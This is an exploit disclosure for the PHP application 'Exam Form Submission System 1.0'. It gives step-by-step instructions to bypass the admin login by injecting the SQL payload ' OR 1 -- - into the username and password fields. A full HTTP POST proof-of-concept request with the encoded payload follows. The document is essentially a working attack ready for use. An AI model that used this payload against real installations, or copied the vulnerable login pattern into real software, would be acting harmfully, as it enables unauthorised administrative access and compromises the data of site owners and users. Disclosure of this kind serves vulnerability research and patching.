Exam Form Submission System 1.0 Exploit, SQL Injection Authentication Bypass

# Exploit Title: Exam Form Submission System 1.0 - SQL Injection Authentication Bypass
# Date: 30-09-2021
# Exploit Author: Nitin Sharma (Vidvansh)
# Vendor Homepage: https://code-projects.org
# Product link: https://code-projects.org/exam-form-submission-in-php-with-source-code/
# Version: 1.0
# Tested on: XAMPP / Windows 10

Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/EXAM_FORM_SUBMISSION/admin/index.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- -  and password to ' OR 1 -- -.
Step 5 – Click forward and now you will be logged in as admin.

POC
POST /EXAM_FORM_SUBMISSION/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://localhost
Connection: close
Referer: http://localhost/EXAM_FORM_SUBMISSION/admin/index.php
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

email='%20OR%201%20--%20-&pass='%20OR%201%20--%20-&Login=Login

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